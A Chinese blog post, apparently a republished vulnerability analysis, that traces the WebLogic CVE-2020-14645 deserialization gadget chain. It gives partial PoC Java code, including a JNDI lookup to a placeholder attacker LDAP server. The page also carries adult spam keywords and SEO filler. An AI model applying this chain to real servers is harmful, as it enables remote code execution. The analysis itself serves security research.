中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

發布時間:2021-12-27 18:55:01 來源:億速云 閱讀:125 作者:柒染 欄目:安全技術

這篇文章將為大家詳細講解有關WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。

前言

Oracle七月發布的安全更新中,包含了一個Weblogic的反序列化RCE漏洞,編號CVE-2020-14645,CVS評分9.8。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

該漏洞是針對于CVE-2020-2883的補丁繞過,CVE-2020-2883補丁將MvelExtractor和ReflectionExtractor列入黑名單,因此需要另外尋找一個存在extract且方法內存在惡意操作的類,這里用到的類為com.tangosol.util.extractor.UniversalExtractor,存在于Coherence組件。

CVE-2020-2883

先來回顧一下CVE-2020-2883的兩個poc調用鏈

//poc1
 javax.management.BadAttributeValueExpException.readObject()
   com.tangosol.internal.sleepycat.persist.evolve.Mutations.toString()
     java.util.concurrent.ConcurrentSkipListMap$SubMap.size()
     java.util.concurrent.ConcurrentSkipListMap$SubMap.isBeforeEnd()
       java.util.concurrent.ConcurrentSkipListMap.cpr()
         com.tangosol.util.comparator.ExtractorComparator.compare()
           com.tangosol.util.extractor.ChainedExtractor.extract()
           com.tangosol.util.extractor.ReflectionExtractor().extract()
             Method.invoke()
             //...
           com.tangosol.util.extractor.ReflectionExtractor().extract()
             Method.invoke()
               Runtime.exec()

//poc2
java.util.PriorityQueue.readObject()
  java.util.PriorityQueue.heapify()
  java.util.PriorityQueue.siftDown()
  java.util.PriorityQueue.siftDownUsingComparator()
  com.tangosol.util.extractor.AbstractExtractor.compare()
    com.tangosol.util.extractor.MultiExtractor.extract()
      com.tangosol.util.extractor.ChainedExtractor.extract()
        //...
        Method.invoke()
            //...
          Runtime.exec()

其本質上,都是通過ReflectionExtractor調用任意方法,從而實現調用Runtime對象的exec方法執行任意命令,但補丁現在已經將ReflectionExtractor列入黑名單,那么只能使用UniversalExtractor重新構造一條利用鏈,這里使用poc2的入口即CommonsCollections4鏈的入口進行構造。

CVE-2020-14645

為了方便一些純萌新看懂,此處將會從0開始分析反序列化鏈(啰嗦模式警告),并且穿插一些poc構造時需要注意的點,先來看看調用棧。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

從頭開始跟進分析整個利用鏈,先來看看PriorityQueue.readObject()方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

第792會執行for循環,將s.readObject()方法賦給queue對象數組,跟進heapify()方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

這里會取一半的queue數組分別執行siftDown(i, (E) queue[i]);,實質上PriorityQueue是一個最小堆,這里通過siftDown()方法進行排序實現堆化,那么跟進siftDown()方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

這里有個對于comparator的判定,我們暫時不考慮comparator的值是什么,接下來會使用到,我們先跟進siftDownUsingComparator()方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

重點關注comparator.compare()方法,那么我們先來看看comparator是怎么來的。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

是在PriorityQueue的構造函數中被賦值的,并且這里可以看到,queue對象數組也是在這里被初始化的。那么結合上述所分析的點,我們需要構造一個長度為2的queue對象數組,才能觸發排序,進入siftDown()方法。同時還要選擇一個comparator,這里選用ExtractorComparator。繼續跟進ExtractorComparator.compare()方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

這里將會調用this.m_extractor.extract()方法,讓我們看看this.m_extractor是怎么來的。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

可以看到,this.m_extractor的值是與傳入的extractor有關的。這里需要構造this.m_extractor為ChainedExtractor,才可以調用ChainedExtractor的extract()方法實現串接extract()調用。因此,首先需要構造這樣一個PriorityQueue對象:

PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));
//這里chainedExtractor為ChainedExtractor對象,后續會說明chainedExtractor對象的具體構造

繼續跟進ChainedExtractor.extract()方法,可以發現會遍歷aExtractor數組,并調用其extract()方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

可以看到,this.m_extractor的值是與傳入的extractor有關的。這里需要構造this.m_extractor為ChainedExtractor,才可以調用ChainedExtractor的extract()方法實現串接extract()調用。因此,首先需要構造這樣一個PriorityQueue對象:

PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));
//這里chainedExtractor為ChainedExtractor對象,后續會說明chainedExtractor對象的具體構造

繼續跟進ChainedExtractor.extract()方法,可以發現會遍歷aExtractor數組,并調用其extract()方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

此處aExtractor數組是通過ChainedExtractor的父類AbstractCompositeExtractor的getExtractors()方法獲取到父類的m_aExtractor屬性值。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

所以,poc中需要這樣構造m_aExtractor

Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);

m_aExtractor具體的值需要怎么構造,需要我們繼續往下分析。先回到我們所要利用到的UniversalExtractor,跟進其extract()方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

此處由于m_cacheTarget使用了transient修飾,無法被反序列化,因此只能執行else部分,跟進extractComplex()方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

這里看到最后有method.invoke()方法,oTarget和aoParam都是我們可控的,因此我們需要看看method的處理,跟進findMethod方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

可以看到第477行可以獲取任意方法,但是要進入if語句,得先使fExactMatch為true,fStatic為false。可以看到fStatic是我們可控的,而fExactMatch默認為true,只要沒進入for循環即可保持true不變,使cParams為空即aclzParam為空的Class數組即可,此處aclzParam從getClassArray()方法獲取。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

顯而易見,傳入一個空的Object[]即可。回到extractComplex()方法,此時我們只要我們進入第192行的else語句中,即可調用任意類的任意方法。但此時還需要fProperty的值為false,跟進isPropertyExtractor()方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

可惜m_fMethod依舊是使用transient修飾,溯源m_fMethod的賦值過程。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

可以看到,由于this對象的原因,getValueExtractorCanonicalName()方法始終返回的是null,那么跟進computeValuExtractorCanonicalName()方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

此處不難理解,如果aoParam不為null且數組長度大于0就會返回null,因此我們調用的方法必須是無參的(因為aoParam必須為null)。接著如果方法名sName不以 () 結尾,則會直接返回方法名。否則會判斷方法名是否以 VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES數組中的前綴開頭,是的話就會截取掉并返回。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

回到extractComplex方法中,在if條件里會對上述返回的方法名做首字母大寫處理,然后拼接BEAN_ACCESSOR_PREFIXES數組中的前綴,判斷clzTarget類中是否含有拼接后的方法。這時發現無論如何我們都只能調用任意類中get和is開頭的方法,并且還要是無參的。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

整理下我們可以利用的思路:

  • 調用init()方法,對this.method進行賦值,從而使fProperty的值為false,從而進入else分支語句,實現調用任意類的任意方法。然而這個思路馬上就被終結了,因為我們根本調用不了非get和is開頭的方法!!!

  • 被transient修飾的m_cacheTarget在extractComplex方法中被賦值

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

在ExtractorComparator.compare()方法中,我們知道extract方法能被執行兩次,因此在第二次執行時,能夠在UniversalExtractor.extract方法中調用targetPrev.getMethod().invoke(oTarget, this.m_aoParam)方法。但是這種方法也是行不通的,因為getMethod()獲取的就是圖上紅框的中的method,很顯然method依舊受到限制,當我們調用非 get 和 is 開頭的方法時,findMethod 會返回 null。

  • 只能走方法被限制的路線了,尋找所有類中以 get 和 is開頭并且可利用的無參方法

get 和 is復現過Fastjson反序列化漏洞的小伙伴,應該清楚Fastjson的利用鏈尋找主要針對get和set方法,這時候就與我們的需求有重合處,不難想到JdbcRowSetImpl的JNDI注入,接下來一起回顧一下。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

其connect方法中調用了lookup方法,并且DataSourceName是可控的,因此存在JNDI注入漏洞,看看有哪些地方調用了connect方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

有三個方法調用了connect方法,分別為prepare、getDatabaseMetaData和setAutoCommit方法,逐一分析。

  • prepare()

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

一開始就調用了connect方法,繼續回溯哪里調用了prepare方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

execute方法,應該是用于執行sql查詢的

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

這個應該是用于獲取參數元數據的方法,prepare()方法應該都是用于一些與sql語句有關的操作方法中。

  • getDatabaseMetaData()

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

  • setAutoCommit()

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

必須讓this.conn為空,對象初始化時默認為null,因此直接進入else語句。其實this.conn就是connect方法,用于保持數據庫連接狀態。

回到connect方法,我們需要進入else語句才能執行lookup方法。有兩個前提條件,this.conn為空,也就是執行connect方法時是第一次執行。第二個條件是必須設置DataSourceName的值,跟進去該參數,發現為父類BaseRowSet的private屬性,可被反序列化。

那么,對于WebLogic這個反序列化利用鏈,我們只要利用getDatabaseMetaData()方法就行,接下來看看該怎么一步步構造poc。先從JdbcRowSetImpl的JNDI注入回溯構造:

JdbcRoSetImpl jdbcRowSet = (JdbcRowSetImpl)JdbcRowSetImpl.class.newInstance();
Method setDataSource_Method = jdbcRowSet.getClass().getMethod("setDataSourceName", String.class);
setDataSource_Method.invoke(jdbcRowSet,"ldap://xx.xx.xx.xx:1389/#Poc");//地址自行構造
//利用ysoserial的Reflections模塊,由于需要獲取queue[i]進行compare,因此需要對數組進行賦值
Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
queueArray[0] = jdbcRowSet;
queueArray[1] = jdbcRowSet;

接著構造 UniversalExtract 對象,用于調用 JdbcRowSetImpl 對象的方法

UniversalExtractor universalExtractor = new UniversalExtractor();
Object object = new Object[]{};
Reflections.setFieldValue(universalExtractor,"m_aoParam",object);
Reflections.setFieldValue(universalExtractor,"m_sName","DatabaseMetaData");
Reflections.setFieldValue(universalExtractor,"m_fMethod",false);

緊接著將 UniversalExtract 對象裝載進文章開頭構造的 chainedExtractor 對象中

ValueExtractor[] valueExtractor_list = new ValueExtractor[]{ universalExtractor };
field.set(chainedExtractor,valueExtractor_list2);//field為m_aExtractor

此處,還有一個小點需注意,一個在文章開頭部分構造的 PriorityQueue 對象,需要構造一個臨時 Extractor 對象,用于創建時的 comparator,此處以 ReflectionExtractor 為例。其次,PriorityQueue 對象需要執行兩次 add 方法。

ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString",new Object[]{});
ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{reflectionExtractor});
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));
queue.add("1");
queue.add("1");

回到 PriorityQueue 對象的 readObject 方法

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

首先需要能進入 for 循環,for 循環就得有 size 的值,size 值默認為 0,private 屬性,可以通過反射直接設置,但是不想通過反射怎么辦,回溯賦值過程。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

在 offer 方法處獲得賦值,而 offer 方法又是由 add 方法調用。(注意此處會執行 siftUp 方法,其中會觸發 comparator 的 compare 方法,從而執行 extract 方法)。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

不難理解,每 add 一次,size 加 1,根據上述 heapify 方法,只會從開頭開始取一半的 queue 數組執行 siftDown 方法。所以 size 至少為 2,需要執行兩次 add 方法,而不是 add(2) 一次。

至此,poc 的主體就構造完成,其余部分就不在此闡述了,當然構造方式有很多,此處為方便萌新,分析得比較啰嗦,poc 也比較雜亂,大家可以自行構造屬于自己的 poc。

關于WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

融水| 双城市| 淅川县| 长海县| 吉隆县| 东台市| 绥阳县| 比如县| 宁南县| 开平市| 新安县| 石狮市| 兴城市| 高陵县| 镇平县| 阿瓦提县| 德令哈市| 富源县| 延寿县| 陇川县| 增城市| 兰州市| 云阳县| 大兴区| 武城县| 青川县| 安多县| 吉木萨尔县| 鱼台县| 江口县| 武山县| 囊谦县| 若羌县| 安宁市| 桃江县| 巫山县| 龙岩市| 吴江市| 黑河市| 北宁市| 河西区|